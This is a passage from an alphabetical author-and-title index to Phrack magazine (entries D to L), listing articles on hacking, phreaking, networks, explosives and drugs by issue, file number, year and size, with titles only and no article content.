        "Covert Paths" 1989. I29 F5 4k



                                   ** D **


daemon9 authored
        "IP-Spoofing Demystified" 1996. I48 F13 25k
        "Netmon" 1996. I48 F15 21k
        "Project Hades: TCP Weakness" 1996. I49 F7 38k
        "Project Neptune" 1996. I48 F13 52k
   co-authored
        "Project Loki: ICMP Tunneling" 1996. I49 F7 38k        
daemon9 was Pro-Philed in 1996. I48 F5 23k
Damien Thorn authored
        "Tandy/Radio Shack Cellular Phones" 1996. I48 F7 43k        
Dark Overlord authored
        "Sending Fakemail in Unix" 1989. I27 F8 2k
        "Snarfing Remote Files" 1989. I28 F6 5k
        "Unix Cracking Tips" 1989. I25 F5 14k
Data Line authored
        "Hacking RSTS". 1985. I2 F8 4k
        "Ring Back Codes for The 314 NPA" 1985. I4 F2 1k
        "Signalling Systems Around The World" 1986. I3 F4 2k
"Datapac" by Synapse. 1993. I44 F21 36k
Data Stream Cowboy authored
        "Network Miscellany IV" 1992 I38 F5 30k
        "Network Miscellany V" by Datastream Cowboy. 1992. I39 F4 34k
        "Phrack World News" Parts 1-3 1992. I40 F12-14 50,48,48k
        "Phrack World News" Parts 1-3 1992. I41 F11-13 46,49,43k
        "Phrack World News" 1992. I42 F14 29k
        "Phrack World News" 1993. I43 F27 24k
        "Phrack World News" 1993. I44 F27 22k
        "Phrack World News" 1994. I45 F28 17k
        "Phrack World News" 1994. I46 F28 38k
        "Phrack World News" 1995. I47 F22 38k        
        "Phrack World News" 1996. I48 F18 21k
   co-authored
        "Phrack World News" Parts 1-3 1992. I38 F13-15 34,32,33k
        "Phrack World News" Parts 1-4 1992. I39 F10-13 30,27,29,29k
   
"Data Tapping Made Easy" by Elric of Imrryr. 1988. I17 F9 4k
"A Day in The Life of a Warez Broker" by Xxxx Xxxxxxxx. 1995. I47 F20 13k
"DBA Primer from American Hacker Magazine" 1995. I47 F16 45k
"DCL BBS Program" by Raoul. 1994. I45 F16 23k
"DCL Utilities for VMS Hackers" by The Mentor. 1988. I19 F2 23k
"DCO Operating System" by mrnobody. 1997. I50 F14 16k
Dcypher wrote
        "Key Trap v1.0 Keyboard Key Logger" 1994. I46 F26 35k
Dead Cow co-authored
        "Advanced Modem Oriented BBS Security" 1991. I34 F9 11k
Dead Lord co-authored 
        "Basic Concepts of Translation" 1989. I26 F6 20k
        "*ELITE* Access" 1991. I36 F5 43k

DEC (DECnets and oTher DECs)
   "Crashing DEC-10's" by The Mentor. 1986. I4 F6 5k
   "DECnet Hackola : Remote Turist TTY (RTT)" by *Hobbit*. 1989. I30 F6 6k
   "Hacking DEC's" by Carrier Culprit. 1986. I5 F3 23k
   "Looking Around in DECnet" by Deep Thought. 1989. I27 F6 14k
   "Multi-User Chat Program for DEC-10's" by TTY-Man and The Mentor. 1986.
    I9 F7 7k

"Decnet Hackola : Remote Turist TTY (RTT)" by *Hobbit*. 1989. I30 F6 6k
"The DECWRL Mail Gateway" by Dedicated Link. 1989. I30 F5 23k
Dedicated Link authored
        "The DECWRL Mail Gateway" 1989. I30 F5 23k
        "Network Progression" 1989. I24 F10 5k
Deep Thought authored 
        "Looking Around in DECnet" 1989. I27 F6 14k
"Defcon Information" by Various Sources. 1995. I47 F9 28k
"Defcon II Information" by Various Sources. 1994. I45 F14 26k
Demon Seed Elite co-authored
        "The Legion of Doom & The Occult" 1991. I36 F6 24k
"Dial-Back Modem Security" by Elric of Imrryr. 1988. I17 F8 9k
"DIALOG Information Network" by Brian Oblivion. 1992. I39 F5 43k
"Digital Multiplexing Systems (Part 2)" by Control C. 1988. I19 F3 18k
"Diet Phrack Loopback" by Phrack Staff. 1991. I36 F2 14k
"The Digital Telephony Proposal" by The FBI. 1992. I38 F11 34k
The Disk Jockey authored
        "Advanced Carding XIV" 1987. I15 F4 12k
        "Getting Caught: Legal Procedures" 1989. I26 F3 12k
        "Reading Trans-Union Credit Reports" 1987. I16 F7 6k
        "Phrack Pro-Phile on The Disk Jockey"(co-authored) 1991. I34 F3 23k
The Disk Jockey was Pro-philed 1991. I34 F3 23k
Dispater authored 
        "A Real Functioning PEARL BOX Schematic" 1989. I28 F5 5k
        "Beating The Radar Rap Part 1/2" 1992. I27 F5 12k 44k
        "Beating The Radar Rap Part 2/2" 1992. I28 F6 5k 15k
        Introduction/Index I37,I38,40,41 F1
        "Phrack Pro-Phile on Aristotle" 1992. I38 F3 6k
        "Phrack Pro-Phile on Shadow Hawk 1" 1992. I39 F3 8k
        "Phrack World News" 1991. I33(F12,13 28/25k) I34(F10,11 14/19k)
         I35(F10-13 27,31,34,27k)
   co-authored
        "Phrack Loopback" 1992. I40 F2 50k
        "Phrack Loopback" 1992. I41 F2 52k
        "Phrack Pro-Phile on The Disk Jockey" 1991. I34 F3 23k
        "Phrack World News" Parts 1-4 1992. I37 F11-14 31,30,29,31k
        "Phrack World News" Parts 1-3 1992. I38 F13-15 34,32,33k
        Introduction/Index 29,I33,34 F1
        "SummerCon 1992" 1992. I40 F11 35k
Disorder authored
        "Phrack World News" 1996. I49 F16 109k
"DMS-100" by Knight Lightning. 1986. I5 F5 8k
Doc Holiday authored
        "Hacking Rolm's CBXII" 1990. I31 F3 15k
        Introduction/Index for I31 F1
        "Knight Line I/Parts 1-3" 1990. I32 F10 47k-12   
Docter Who was Pro-Philed in 1993. I43 F6 15k
Doom Prophet authored
        "Are You a Phone Geek?" 1987. I13 F7 9k
        "Telephone Signalling Methods" 1987. I11 F8 8k
        "The Total Network Data System" 1987. I12 F5 13k
   co-authored
        "Automatic Number Identification" 1987. I10 F7 9k
        "Loop Maintenance Operations System" 1986. I9 F9 17k        
Dorthy Denning authored
        "Concerning Hackers Who Break Into Computer Systems" 1990. I32 F3 60k
Double Helix co-authored 
        "How to Build a Paisley Box" 1987. I13 F4 5k
Douglas Walter(Newsweek) authored
        "The Open Barn Door" 1992. I39 F9 11k
Dr. BOB authored
        "A Guide to British Telecom's Caller ID Service" 1995. I47 F19 31k
Dr. Crash authored
        "The Technical Revolution" 1986. I6 F3 4k
Dr. Delam authored
        "The MCX7700 PABX System" 1994. I45 F25 22k
   co-authored
        "Gettin' Down 'N Dirty Wit Da GS/1" 1994. I46 25k
Dr. Dimitri Vulis authored
        "Content-Blind Cancelbot" I49 F9 40k
Dr. Doom authored
        "The Integrated Services Digital Network" 1986. I8 F4 18k
Dr. Dude(Dispater) co-authored
       "Introduction to Diet Phrack"  1991. I36. F1 8k
       "Searching for speciAL acceSs agentS" 1991. I36 F7 18k
       "Elite World News" I36 F10,11 23/26k
Dr. No-Good authored       
       "Basic Commands for The VOS System" 1992. I37 F8 10k

DRUGS
   "The Tried and True Home Production Method for Methamphetamine" by The
    Leftist. 1986. I4 F8 7k

"DTMF signalling and decoding" by Mr. Blue. 1997. I50 F13 17k
"Dun & Bradstreet Report on AT&T" submitted by Elric of Imrryr. 1988. I17 F2
 24k
"Dun & Bradstreet Report on Pacific Telesis" submitted by Elric of Imrryr.
 1988. I17 F3 26k


                                   ** E **


The Eavesdropper authored
        "Control Office Administration of Enhanced 911 Service" 1989.
         I24 F5 22k
        "Glossary Terminology for Enhanced 911 Service" 1989. I24 F6 12k
"Eavesdropping" by Circle Lord. 1986. I3 F7 3k
EBA authored 
        "Cosmos Overview" 1990. I31 F6 52k
The Editor(s) authored
        Introduction/Index I42 F1 14k
        Introduction/Index I43 F1 24k
        Introduction/Index I44 F1 16k
        Introduction/Index I45 F1 17k
        Introduction/Index I46 F1 17k
        Introduction/Index I47 F1 16k
        Introduction/Index I48 F1 13k
        Introduction/Index I49 F1 7k
        Introduction/Index I50 F1 9k
        "Sara Gordon -vs- Kohntark Part I" 1993. I44 F11 12k
        "Sara Gordon -vs- Kohntark Part II" 1993. I44 F12 47k
        
Electronic Frontier Foundation authored
        "The CompuServe Case" by Electronic Frontier Foundation. 1992. I37 F9 6k
"Electronic Telephone Cards(Part 1)" by Stephane Bausson. 1996. I48 F10 39k
"Electronic Telephone Cards(Part 2)" by Stephane Bausson. 1996. I48 F11 66k
"*ELITE*" Access by Dead Lord and Lord Digital(Lords Anonymous!). 1991.
 I36 F5 43k
"Elite World News" br Docter Dude I36 F10,11 23/26k
Elric of Imrryr authored
        "A Beginner's Guide to The IBM VM/370" 1987. I10 F4 4k
        "Data Tapping Made Easy" 1988. I17 F9 4k
        "Dial-Back Modem Security" 1988. I17 F8 11k
        "Gelled Flame Fuels" 1987. I15 F5 12k
        Introduction/Index of I16 F1 2k
  submitted
        "Dun & Bradstreet Report on AT&T" 1988. I17 F2 24k
        "Dun & Bradstreet Report on Pacific Telesis" 1988. I17 F3 26k
Emmanuel Goldstein authored
        "No Time for Goodbyes" 1994. I45 F9 21k
Emmanuel Goldstein was Pro-Philed in 1989. I29 F2 16k
Epsilon authored
        "An Introduction to Packet Switched Networks" 1988. I18 F3 12k
        "Phrack World News" 1988. I18 F10-11  I19 F8
Epsilon co-authored 
        "Phrack World News" 1988. I21 F10 22k-11
Equal Axis authored 
        "OTher Common Carriers; A List" 1989. I28 F7 8k
Erik Bloodaxe authored
        "The Wonderful World of Pagers" 1994. I46 F8
        "HOPE" 1994. I46 F22 51k        
Erik Bloodaxe was Pro-Philed in 1989. I28 F2 15k
Erudite authored
        "AT&T Definity System 75/85" by Erudite. 1994. I46 F25 35k        
Evil Jay authored
        "Hacking : OSL Systems" 1987. I12 F7 9k
        "Hacking Primos I, II, III" 1987. I11 F7 7k
        "Hacking Primos Part I" 1987. I10 F6 11k
        "R.A.G. - Rodents are Gay" 1987. I13 F6 6k
The Executioner
        "Preview to Phrack 13-The Life & Times of The Executioner" 1987.
         I12 F3 5k
The Executioner authored
        "Circuit Switched Digital Capability" 1987. I10 F5 12k
        "City-Wide Centrex" 1986. I8 F3 14k
        "CSDC II - Hardware Requirements" 1987. I12 F6 8k
        "PACT: Prefix Access Code Translator" 1987. I11 F3 8k
        "Plant Measurements" 1986. I9 F6 13k
"Exploring Information-America" by The Omega & White Knight. 1992. I37 F4 51k

EXPLOSIVES
   "Bolt Bombs" by The Leftist. 1986. I5 F6 3k
   "Gelled Flame Fuels" by Elric of Imrryr. 1987. I15 F5 12k
   "How to Make an Acetylene Bomb" by The Clashmaster. 1985. I1 F7 4k
   "How to Make TNT" by The Radical Rocker. 1986. I7 F6 2k
   "Making Shell Bombs" by Man-Tooth. 1986. I3 F3 3k
   "Nitrogen-Trioxide Explosive" by Signal Substain. 1988. I17 F4 7k
   "Smoke Bombs" by Alpine Kracker. 1986. I6 F6 2k

"extract.c" by Phrack Staff. 1997. I50 F16 2k


                                   ** F **


"Facility Assignment & Control Systems" by Phantom Phreaker. 1988. I19 F5 11k
"False Identification" by Forest Ranger. 1986. I4 F3 3k
Federal Bureau of Investigations(FBI) authored
        "The Digital Telephony Proposal" 1992. I38 F11 34k
"FEDIX On-Line Information Service" by Fedix Upix. 1991 I33 F4 12k
Fedix Upix authored "Fedix On-line Information Service" 1991 I33 F4 12k
"A Few Things About Networks" by Prime Suspect. I18 F9 21k
"The fingerd Trojan Horse" by Hitman Italy. 1994. I46 F12 32k
Firm G.R.A.S.P. authored
        "Acronyms Part I" 1993. I43 F21 50k
        "Acronyms Part II" 1993. I43 F22 51k
        "Acronyms Part III" 1993. I43 F23 45k
        "Acronyms Part IV" 1993. I43 F24 52k
        "Acronyms Part V" 1993. I43 F25 46k
        "Guide to 5ESS" 1993. I43 F16 63k
The Fixer wrote
        "Box.exe for SoundBlasters"<unencoded> 1994. I45 F22 13k
"The Fone Phreak's Revenge" by Iron Soldier. 1985. I1 F4 4k
Forest Ranger authored
        "False Identification" 1986. I4 F3 3k
        "Prevention of The Billing Office Blues" 1985. I2 F2 1k
        "Fortell Systems" by Phantom Phreaker. 1986. I3 F6 3k
        "Foundations on The Horizon; Chapter Two of FTSaga" by Knight Lightning.
         1989. I23 F5 27k
Framstag authored 
        "The Making of a Hacker" 1989. I27 F7 9k
"Fraudulent Applications of 900 Services" by Co/Dec. 1994. I45 F18 15k
Fred P. Graham co-authored
        "Can You Find Out If Your Telephone is Tapped?" 1989. I23 F9 20k
"The Freedom of Information Act and You" by Vince Niel. 1992. I42 F12 42k
"Frontiers; Chapter Four of FTSaga" by Knight Lightning. 1989. I24 F4 25k
"Fun With Automatic Tellers" by The Mentor. 1986. I8 F7 7k
"Fun With The Centagram VMS Network" by Oryan Quest. 1986. I9 F3 4k
"Fun With Lighters" by The Leftist. 1986. I6 F4 2k
"Future Trancendent Saga Index A" from The BITNET Services Library. 1989.
 I23 F6 14k
"Future Trancendent Saga Index B" from The BITNET Services Library. 1989.
 I23 F7 17k
FyberLyte authored
        "NorThern Telecom's FMT-150B/C/D" 1993. I44 F13 16k
        

                                   ** G **


"Gail Takes a Break" <unencoded .gif> 1993. I44 F25 49k
Gatsby authored
        "A Hackers Guide to The Internet" 1991. I33 F3 45k 
G.Tenet authored        
        "Useful Commands for The TP3010 Debug Port" 1992. I42 f7 28k
"Gelled Flame Fuels" by Elric of Imrryr. 1987. I15 F5 12k
"Getting Caught: Legal Procedures" by The Disk Jockey. 1989. I26 F3 12k
"Gettin' Down 'N Dirty Wit Da GS/1" By Maldoror & Dr. Delam. 1994. I46 25k
"Getting Serious About VMS Hacking" by VAXBusters International. 1989.
 I23 F8 13k
G. Gilliss authored
        "Introduction to CGI and CGI vulnerabilities" 1996. I49 F8 12k
Gin Fizz co-authored
        "How to Pick Master Locks" 1985. I1 F6 2k
"The Glenayre GL3000 Paging and Voice retrieval System" by Armitage. 1995.
 I47 F14 25k   
"Glossary Terminology for Enhanced 911 Service" by The Eavesdropper. 1989.
 I24 F6
Goe authored 
        "Hacking VM/CMS" 1989. I30 F4 58k
Grey Sorcerer authored
        "How to Hack Cyber Systems" 1988. I17 F5 23k
        "How to Hack HP2000's" 1988. I17 F6 3k
Grimace authored
        "Phrack Pro-Phile on Computer Cop" 1993. I43 F5 22k
"The Groom Lake Desert Rat" by PsychoSpy. 1994. I46 F21 44k
"Guide to 5ESS" by Firm G.R.A.S.P.. 1993. I43 F17 63k
"A Guide to British Telecom's Caller ID Service" by Dr. BOB 1995. I47 F19 31k
"Guide to Data General's AOS/VS Part I" by Herd Beast. 1993. I44 F14 46k
"Guide to Data General's AOS/VS Part II" by Herd Beast. 1993. I44 F15 30k
"Guide to Encryption" by The Racketeer[HFC]. 1992. I42 F11 32k
"A Guide To Porno Boxes" By Carl Corey. 1994. I46 F10 13k


                                  ** H **


"The #hack FAQ (Part 1)" by Voyager. 1995. I47 F5 39k
"The #hack FAQ (Part 2)" by Voyager. 1995. I47 F6 38k
"The #hack FAQ (Part 3)" by Voyager. 1995. I47 F7 51k
"The #hack FAQ (Part 4)" by Voyager. 1995. I47 F8 47k
"A Hacker's Guide to Primos: Part 1" by Cosmos Kid. 1987. I16 F3 11k
"Hacker's Manifesto" by The Mentor. 1986. I7 F3 4k

HACKING
(See also BANK FRAUD, COSMOS, CRACKING, CREDIT BUREAUS, CULTURE, DEC, HP,
 Phrack Pro-Phile, Phrack World News, PHREAKING, PRIMOS, RSTS, UNIX, VAX/VMS,
 VM/CMS, VOICE MAIL, WIDE AREA NETS (Internet,BITNET,ArpaNet,Usenet,UUCP,etc),
 X.25 NETS (Telenet, Tymnet,etc.)
   "25th Anniversary Index [of Phrack]" by Taran King, Knight Lightning and
      friends. 1989. I25 F2 15k
   "Accessing Government Computers" by The Sorceress. 1988. I17 F7 9k
   "An Introduction to The DecServer 200" by Opticon. 1993. I44 F22 16k
   "The Art of Investigation" by Butler. 1990. I32 F4 18k
   "AT&T Definity System 75/85" by Erudite. 1994. I46 F25 35k
   "Basic Concepts of Translation" by The Dead Lord and Chief Executive
      Officers. 1989. I26 F6 20k
   "BELLCORE Information" by The Mad Phone-Man. 1987. I16 F2 11k
   "Cracking NT Passwords" by Nihil. 1997. I50 F8 17k
   "CompuServe Info" by Morgoth and Lotus. 1986. I8 F6 8k
   "CSDC II - Hardware Requirements" by The Executioner. 1987. I12 F6 8k
   "Datapac" by Synapse. 1993. I44 F21 36k
   "Data Tapping Made Easy" by Elric of Imrryr. 1988. I17 F9 4k
   "DBA Primer from American Hacker Magazine" 1995. I47 F16 45k
   "Dial-Back Modem Security" by Elric of Imrryr. 1988. I17 F8 11k
   "The fingerd Trojan Horse" by Hitman Italy. 1994. I46 F12 32k
   "Getting Caught: Legal Procedures" by The Disk Jockey. 1989. I26 F3 12k
   "Gettin' Down 'N Dirty Wit Da GS/1" By Maldoror & Dr. Delam. 1994. I46 25k
   "Hacking AT&T System 75" by Scott Simpson. 1992. I41 F6 20k
   "Hacking CDC's Cyber" by Phrozen Ghost. 1988. I18 F5 12k
   "The #hack FAQ (Part 1)" by Voyager. 1995. I47 F5 39k
   "The #hack FAQ (Part 2)" by Voyager. 1995. I47 F6 38k
   "The #hack FAQ (Part 3)" by Voyager. 1995. I47 F7 51k
   "The #hack FAQ (Part 4)" by Voyager. 1995. I47 F8 47k
   "Hacking GTN" by The Kurgan. 1987. I16 F4 7k
   "Hackers Guide to The Internet" by The Gatsby 1991. I33 F2 45k
   "Hacking : OSL Systems" by Evil Jay. 1987. I12 F7 9k
   "Hacking: What's Legal and What's Not" by Hatchet Molly. 1989. I25 F8 12k
   "How to Hack Cyber Systems" by Grey Sorcerer. 1988. I17 F5 23k
   "How to Build a DMS-10 Switch by The Cavalier. 1992 I41 23k
   "Inside Dialog" by Control C. 1986. I9 F5 8k
   "Introduction to Videoconferencing" by Knight Lightning. 1986. I9 F8 11k
   "Key Trap v1.0 Keyboard Key Logger" by Dcypher. 1994. I46 F26 35k
   "Keytrap Revisisted" by Sendai. 1996. I48 F12 13k
   "Legal Info" by Szechuan Death. 1994. I46 F9 13k
   "A Little About Dialcom" by Herd Beast. 1994. I46 F14 29k
   "Netmon" by daemon9. 1996. I48 F15 21k
   "Non-Published Numbers" by Patrick Townsend. 1988. I21 F7 8k
   "A Novice's Guide to Hacking (1989. Edition)" by The Mentor. 1988. I22 F4 42k
   "PC Application Level Security" by Sideshow Bob. 1997. I50 F12 21k
   "The Phrack University Dialup List" by Phrack Staff. 1994. I46 F13 12k
   "Plant Measurement" by The Executioner. 1986. I9 F6 13k
   "Private Audience" by Overlord. 1986. I3 F5 13k
   "Radio Hacking" by The Seker. 1986. I5 F8 3k
   "Reading Trans-Union Credit Reports" by The Disc Jockey. 1987. I16 F7 6k
   "Ring Back Codes for The 314 NPA" by Data Line. 1985. I4 F2 1k
   "Satellite Communications" by Scott Holiday. 1988. I21 F5 9k
   "School/College Computer Dial-Ups" by Phantom Phreaker. 1985. I1 F8 4k
   "Searching The Dialog Information Service" by Al Capone. 1993. I44 F18 48k
   "Security Shortcomings of AppleShare Networks" by Bobby Zero. 1992.
    I41 F9 16k
   "Simple Data Encryption or Digital Electronics 101" by The Leftist. 1987.
    I11 F5 4k
   "Smashing The Stack For Fun And Profit" by Aleph1. 1996. I49 F14 66k
   "The Tele-Pages" by Jester Sluggo. 1988. I21 F4 37k
   "TTY Spoofing" by VaxBuster 1992. I41 F8 20k
   "Western Union Telex, TWX, and Time Service" by Phone Phanatic. 1989. I30
       F10

"Hacking AT&T System 75" by Scott Simpson. 1992. I41 F6 20k
"Hackers Guide to The Internet" by The Gatsby 1991 I33 F3 45k
"Hacking CDC's Cyber" by Phrozen Ghost. 1988. I18 F5 12k
"Hacking Chilton's Credimatic" by Ryche. 1986. I7 F4 8k
"Hacking DEC's" by Carrier Culprit. 1986. I5 F3 23k
"Hacking GTN" by The Kurgan. 1987. I16 F4 7k
"Hacking : OSL Systems" by Evil Jay. 1987. I12 F7 9k
"Hacking Primos I, II, III" by Evil Jay. 1987. I11 F7 7k
"Hacking Primos Part I" by Evil Jay. 1987. I10 F6 11k
"Hacking Rolm's CBXII" by Doc Holiday. 1990. I31 F3 15k
"Hacking RSTS" by Data Line. 1985. I2 F8 4k
"Hacking RSTS Part 1" by The Seker. 1986. I7 F5 12k
"Hacking and Tymnet" by SynThecide. 1989. I30 F3 20k
"Hacking VM/CMS" by Goe. 1989. I30 F4 58k
"Hacking Voice Mail Systems" by Black Knight from 713. 1987. I11 F4 6k
"Hacking Voice Mail Systems" by Night Ranger. 1991. I34 F6 19k
"Hacking: What's Legal and What's Not" by Hatchet Molly. 1989. I25 F8 12k
"Hacking WWIV:The Complete Guide" by Inhuman. 1991 I34 F5 20k
Halflife authored
        "Linux TTY hijacking" 1997. I50 F5 15k
"Hand to Hand Combat" by Bad Boy in Black. 1986. I5 F4 13k
"Hardwire Interfacing under Linux" by Professor. 1997. I50 F11 11k
Hatchet Molly authored
        "Hacking: What's Legal and What's Not" 1989. I25 F8 12k
"Help for Verifying Novell Security" by Phrack Staff. 1993. I43 F11 48k
Herd Beast authored
        "Guide to Data General's AOS/VS Part I" 1993. I44 F14 46k
        "Guide to Data General's AOS/VS Part II" 1993. I44 F15 30k
        "A Little About Dialcom" 1994. I46 F14 29k
"Hiding Out Under Unix" by Black Tie Affair. 1989. I25 F6 9k
High Evolutionary authored 
        "Cellular Telephones" 1986. I6 F7 5k          
"The History of The Legion of Doom" 1990. I31 F5 10k
"The History ah MOD" by Wing Ding. 1991 I36 F4 23k
Hitman Italy authored
        "The fingerd Trojan Horse" 1994. I46 F12 32k        
*Hobbit* authored
        "Decnet Hackola : Remote Turist TTY (RTT)". 1989. I30 F6 6k
"HoHoCon" by Netta Gilboa. 1995. I47. F10 30k
"HoHoCon" by Count Zero. 1995. I48. F11 33k
"HoHoCon"(review)by Various Sources. 1992. I42 F13 51k
"HoHoCon Miscellany" by Various Sources. 1994. I45 F11 32k
"HoHoCon Miscellany" by Various Sources. 1995. I47 F12 33k
"Hollywood-Style Bits & Bytes" by Richard Goodwin. 1994. I45 F17 50k
"Homemade Guns" by Man-Tooth. 1985. I2 F3 7k
Homey The Hacker authored
        "Phreaks in Verse" 1991. I36 F8 14k
"HOPE" by Erik Bloodaxe. 1994. I46 F22 51k
"How to Build a DMS-10 Switch" by The Cavalier. 1992 I41 F7 23k
"How to Build a Paisley Box" by Thomas Covenant and Double Helix. 1987.
 I13 F4 5k
"How To Hack Blackjack Part I" by Lex Luthor. 1993. I43 F9 52k
"How To Hack Blackjack Part II" by Lex Luthor. 1993. I43 F10 50k
"How to Fuck Up The World - A Parody" by Thomas Covenant. 1987. I13 F3 10k
"How to Hack Cyber Systems" by Grey Sorcerer. 1988. I17 F5 23k
"How to Hack HP2000's" by Grey Sorcerer. 1988. I17 F6 3k
"How to Pick Master Locks" by Gin Fizz and Ninja NYC. 1985. I1 F6 2k
"How to Make an Acetylene Bomb" by The Clashmaster. 1985. I1 F7 4k
"How to Make TNT" by The Radical Rocker. 1986. I7 F6 2k
"How We Got Rich Through Electronic Funds Transfer" by Legion of Doom!. 1989.
 I29 F7

HP SERIES (HP2000, HP3000, HP9000 etc.)
   "How to Hack HP2000's" by Grey Sorcerer. 1988. I17 F6 3k


                                   ** I **

Iceman authored
        "NorThern Telecom's SL-1" 1993. I44 18 30k
Ice Jay authored
        "VisaNet Operations Part I" 1994. I46 F15 50k
        "VisaNet Operations Part 2" 1994. I46 F16 44k        
Icon authored
        "South Western Bell Lineman Word Codes" 1997. I49 F11 18k
Infinite Loop authored
        "LATA Referance List" 1991 I33 F5 11k
"Information About NT's FMT-150/B/C/D" by Static. 1996. I48 F9 22k
"An In-Depth Guide in Hacking Unix" by Red Knight. 1988. I22 F5 35k
"Inside Dialog" by Control C. 1986. I9 F5 8k
"Inside The SYSUAF.DAT File" by Pain Hertz. 1990. I32 F8 16k
"The Integrated Services Digital Network" by Dr. Doom. 1986. I8 F5 18k
"International Scene" by Various Sources 1993. I43 F26 51k
"International Scene" by Various Sources 1993. I43 F26 25k
"International Scene" by Various Sources 1994. I45 F27 63k
"International Scene" by Various Sources 1994. I46 F27 44k
"International Scene" by Various Sources 1995. I47 F21 39k
"International Scene" by Various Sources 1996. I48 F17 33k

INTERNET see WIDE AREA NETWORKS

"Internet Domains: FTSaga Appendix 3 (Limbo to Infinity)" by Phrack Inc.
 1989. I26 F8 20k
"Interview With Agent Steal" by Agent 005. 1993. I44 F16 14k
"Introduction to CGI and CGI vulnerabilities" by G. Gilliss. 1996. I49 F8 12k
"An Introduction to The DecServer 200" by Opticon. 1993. I44 F22 16k
"Introduction to the FedLine software system" by Parmaster. 1996. I49 F12 19k
"Introduction to The Internet Protocols: Chapter Eight of The FTS" by Knight
 Lightning. 1989. I28 F3 39k
"Introduction to The Internet Protocols II: Chapter Nine of The FTS" by Knight
 Lightning. 1989. I29 F3 43k
"Introduction to MIDNET: Chapter Seven of The FTS" by Knight Lightning.
 1989. I27 F3 35k
"Introduction to MILNET" by Brigadier General Swipe. 1991 I34 F7 8k
"Introduction to Octel's ASPEN" by Optik Nerve. 1994. I45 F23 12k
"An Introduction to Packet Switched Networks" by Epsilon. 1988. I18 F3 12k
"Introduction of Phrack" by Taran King. 1985. I1 F1 2k
"Introdcution to Telephony and PBX Systems" by Cavalier. 1996. I49 F5 100k
"Intro to Packet Radio" by Larry Kollar. 1993. I44 F9 16k
"Introduction to PBX's" by Knight Lightning. 1986. I3 F9 7k
"Introduction to Videoconferencing" by Knight Lightning. 1986. I9 F8 11k
Iron Soldier authored 
        "The Fone Phreak's Revenge" 1985. I1 F4 4k
Inhuman Authored
        "The Complete Guide to Hacking WWIV" 1991. I34 F5 20k
"In Living Computer Starring Knight lightning" 1991. I36 F3 10k
"IP-Spoofing Demystified" by daemon9. 1996. I48 F13 25k
ISDN (INTEGRATED SERVICES DIGITAL NETWORK)
   "The Integrated Services Digital Network" by Dr. Doom. 1986. I8 F4 18k
   "Universal Informational Services via ISDN" by Taran King. 1985. I2 F6 6K 


                                   ** J **

Jack T. Tabb authored 
        "VAX/VMS Fake Mail". 1989. I30 F7 7k
Jester Sluggo authored
        "Automatic Teller Machine Cards" 1990. I32 F6 16k
        "Centrex Renaissance" 1986. I4 F7 17k
        "The Tele-Pages" 1988. I21 F4 37k
        "Unix System Security Issues" 1988. I18 F7 27k
        "Wide Area Networks Part 1" 1986. I5 F7 10k
        "Wide Area Networks Part 2" 1986. I6 F8 10k
J.R. "Bob" Dobbs authored
        "A REAL Functioning RED BOX Schematic" 1991. I33 F9 12k
Jim Schmickley authored
        "Blocking of Long Distance Calls" 1988. I21 F8 26k
        "Blocking of Long Distance Calls... Revisited" 1989. I29 F9 22k
"The Judas Contract (Part 2 of The Vicious Circle Trilogy)" by Knight Lightning.
 1988. I22 F3 26k
"Juggernaut"(linux tool) by route. 1997. I50 F6 123k


                                   ** K **


"Key Trap v1.0 Keyboard Key Logger" by Dcypher. 1994. I46 F26 35k
"Keytrap Revisisted" by Sendai. 1996. I48 F12 13k
Killer Smurf authored
        "Making Free Local Payfone Calls" 1987. I15 F3 7k
King Arthur authored
        "COSMOS: COmputer System for Mainframe OperationS (Part One)" 1989.
         I26 F5
        "COSMOS: COmputer System for Mainframe OperationS (Part Two)" 1989.    
         I27 F5
Knight Lightning authored
        "DMS-100" 1986. I5 F5 8k
        "Foundations on The Horizon; Chapter Two of FTSaga" 1989. I23 F5 27k
        "Frontiers; Chapter Four of FTSaga" 1989. I24 F4 25k
        Introduction/Index for I14 F1
        Introduction/Index (co-authored) for I20-30,33  F1
        "Introduction to The Internet Protocols II: Chapter Eight of The FTS"
         1989. I28 F3 39k
        "Introduction to The Internet Protocols II: Chapter Nine of The FTS"
         1989. I29 F3 43k
        "Introduction to MIDNET: Chapter Seven of The FTS" by Knight Lightning.
         1989. I27 F3 35k
        "Introduction to PBX's" 1986. I3 F9 7k
        "Introduction to Videoconferencing" 1986. I9 F8 11k
        "The Judas Contract (Part 2 of The Vicious Circle Trilogy)" 1988.
         I22 F3 26k
        "Limbo to Infinity; Chapter Three of FTSaga" 1989. I24 F3 18k
        "MCI International Cards" 1985. I1 F5 3k
        "MCI Overview" 1985. I2 F7 15k
        "NSFnet: National Science Foundation Network" 1989. I26 F4 10k
        "Phrack Pro-Phile on Groups" 1986. I6 F2 14k
        "Phrack Pro-Phile on Karl Marx" (co-authored) 1988. I22 F2 9k
        "Phrack World News" 1985-90. I2 F9 I3 F10  I4 F9-11  I5 F10-12  I6 F9-13
         I7 F8-10  I8 F8-9  I9 F10  I10 F8-9  I11 F11-12  I12 F10-11  I13 F10
         I14 F8-9  I15 F6-7 (19,21k)  I19 F7  I20 F12  I23 F11-12  I24 F11-13
         I25 F9 19k-11  I26 F9-11  I27 F10-12  I28 F9-12  I29 F10-12  I30 F11-12
        "Phrack World News" (co-authored) I21 F10-11  I22 F9-12
        "Phrack World News Special Edition II" 1988. I21 F9 78k
        "Phrack World News Special Edition III (SummerCon '89)" 1989. I28 F8 31k
        "Shadows of a Future Past (Part 1 of The Vicious Circle Trilogy)" 1988.
         I21 F3
        "SPAN: Space Physics Analysis Network" 1989. I25 F4 47k
        "Standing up to Fight The Bells" 1992. I38 F10 27k
        "Subdivisions (Part 3 of The Vicious Circle Trilogy)" 1989. I23 F3 17k
        "A Trip to The NCSC" 1990. I32 F7 16k
        "Utopia; Chapter One of FTSaga" 1989. I23 F4 20k
   co-authored
        "25th Anniversary Index" 1989. I25 F2 15k
        "Network Management Center" 1988. I21 F6 13k
        "Real Phreaker's Guide Vol. 2" 1987. I13 F2 5k
        "Welcome to Metal Shop Private" 1988. I20 F4 37k
"Knight Line I/Parts 1-3" by Doc Holiday. 1990. I32 F10 47k-12
The Kurgan authored
        "Hacking GTN" 1987. I16 F4 7k


                                   ** L **


"LATA Reference List" by Infinite Loop 1991 I33 F5 11k
Larry Kollar authored
        "Intro to Packet Radio" 1993. I44 F9 16k
Laughing Gas co-authored
        "Advanced Modem-Oriented BBS Security" 1991 I34 F9 11k
The Leftist authored
        "Bolt Bombs" 1986. I5 F6 3k
        "Fun With Lighters" 1986. I6 F4 2k
